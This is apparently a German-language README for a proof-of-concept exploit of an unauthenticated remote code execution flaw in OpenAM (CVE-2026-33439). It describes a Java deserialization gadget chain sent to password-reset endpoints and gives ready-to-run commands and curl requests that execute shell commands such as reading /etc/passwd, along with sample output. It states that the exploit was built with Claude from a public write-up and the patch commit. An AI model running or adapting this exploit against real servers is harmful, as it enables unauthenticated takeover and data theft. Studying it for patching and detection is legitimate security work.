ibonok/cve-2026-33439-pocExploit für OpenAM Pre-Auth RCE (CVE-2026-33439) unter Verwendung einer Java-Deserialisierungs-Gadget-Kette, um Befehle auszuführen und die Ausgabe direkt in der HTTP-Antwort zurückzugeben.
Befehlsausgabe direkt in der HTTP-Antwort — keine DNS-Exfiltration oder OOB erforderlich.
Verwendet com.iplanet.jato.RequestManager.getRequestContext(), um während der Deserialisierung auf die aktive
JATO-ThreadLocal-Request/Response zuzugreifen. Funktioniert auf Java 21+, wo klassische Tomcat-Echo-Techniken
(Thread.target / ThreadGroup.threads-Traversierung) fehlschlagen.
javac für die Translet-Kompilierung zur Laufzeit)click-nodeps-2.3.0.jar und xalan-2.7.x.jar im Klassenpfad| Endpunkt | Echo-Ausgabe |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, Befehlsausgabe im Body |
/sso/ui/PWResetQuestion | HTTP 200, Befehlsausgabe im Body |
/sso/ui/PWResetSuccess | HTTP 200, Befehlsausgabe im Body |
Ebenfalls getestet, aber keine Echo-Ausgabe (Deserialisierung wird trotzdem ausgelöst):
/sso/ui/PWResetInvalidURL — Fehlerseite zurückgegeben/sso/ui/PWResetUncaughtException — Fehlerseite zurückgegeben./build.sh
Das JAR fügt automatisch --add-opens-JVM-Flags hinzu — keine manuelle Angabe erforderlich.
# All-in-one: Payload generieren + senden + Ausgabe anzeigen (Proxy über Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Ohne Burp-Proxy
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Wiederverwendbaren Payload generieren (Befehl kommt zur Anfragezeit aus dem 'cmd'-Header)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue-Deserialisierungs-Payload (Click1 + Xalan TemplatesImpl-Gadget-Kette)RequestManager.getRequestContext() auf, um die aktive JATO-Request/Response zu erhaltencmd-HTTP-Header, führt sh -c <cmd> aus, schreibt stdout+stderr in response.getOutputStream()\x00-Präfix + URL-sicheres Base64, ohne Padding)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> gesendet (unauthentifiziert)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # Exploit-JAR
build.sh # Build-Skript
MANIFEST.MF # JAR-Manifest
README.md # Diese Datei
lib/ # Abhängigkeiten (müssen neben dem JAR bleiben)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Quellcode
Gepatcht im OpenAM-Commit 014007c63cacc834cc795a89fac0e611aebc4a32 — fügt einen
Klassenfilter zu ObjectInputStream in SessionEncodeURL.readSessionID() hinzu.
Der PoC wurde mit Claude erstellt; die Vorlage waren der Write-up (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) und der Git-Commit (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)